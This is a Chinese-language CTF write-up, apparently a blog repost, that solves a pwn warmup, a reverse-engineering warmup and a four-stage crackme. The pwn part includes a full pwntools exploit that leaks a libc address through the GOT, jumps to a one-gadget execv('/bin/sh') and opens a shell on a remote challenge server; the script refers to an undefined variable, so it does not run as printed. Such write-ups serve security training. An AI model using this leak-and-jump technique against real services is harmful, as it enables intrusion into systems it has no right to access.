校赛writeup

Warmup——pwn

第一次输入的是一个地址

会输出地址的内容——这个可以用来泄露

一旦泄露了,在后面的输入就可以进行跳转到想要的位置

而且这里不需要覆盖

直接就会跳转到输入的位置去执行

但是这个题目的坑点在于要找到正确的偏移,在给出的libc中,有8个带/bin/sh的execv

一个一个试一下才能找到

Exp:

#!/usr/bin/env python

# encoding: utf-8

from pwn import *

proc_name = './oneshot'

proc_elf = ELF(proc_name)

print proc_elf.checksec()

context.log_level = 'debug'

io = remote("59.110.6.128",10086)

#io = process(proc_name)

#print proc.pidof(io)[0]

raw_input('debug')

local_lib_system =0x7ffff7a53380

local_lib_printf = 0x557b0

local_lib_execv = 0x451ff

local_lib_puts = 0x6f5d0

local_lib_temp = 0x6f4e6

lib2_sys = 0x46590

lib2_printf =0x0000000000054340

lib2_execv = 0x00000000000C12E0

lib2_puts = 0x6fd60

got_printf = 0x600ae8

got_puts = 0x600ad8

plt_puts = 0x4004F0

plt_printf = 0x400510

payload1 = str(int(got_puts))

io.recvuntil("?");

io.sendline(payload1)

io.recvuntil(":")

recvdata = io.recv()

puts_addr = recvdata[:19]

print "puts_addr "+ puts_addr

puts_addr = int(puts_addr,16)

execv1 = 0x6FBDA

execv2 = 0x46483

execv3 = 0xC18D1

execv4 = 0xC1BA3

execv5 = 0xC1BF2

execv6 = 0xE4968

execv7 = 0xE5765

execv8 = 0xE66BD

execv_addr = puts_addr + execv - lib2_puts

print "execv_addr  " +str(hex(execv_addr))

payload2 = str(execv_addr)

io.sendline(payload2)

io.recvuntil("!")

io.interactive()

warmup——re

其实很简单

用ida打开看一下就可以了

然后写个程序,根据hint——goodgoodstudydaydayup

但是如果没有hint就很难。。。完全猜不到。。。

Crackme

四层分析就可以得到flag

第一层:

简单的倒推就知道是2

第二层:

这个其实可以暴力求出来是654321

第三层

给出merrychrismas,加上之前算出来的x[]数组,可以倒推出来应该输入的字符串

Lcont=gpfoog`q

第四层:

需要根据前面四个函数算出来flag变量的值

不是很难,稍微编个程就出来了

176455667

注意要在cmd中运行,才能看到flag——因为会闪退

猜你喜欢

转载自www.cnblogs.com/volva/p/11813866.html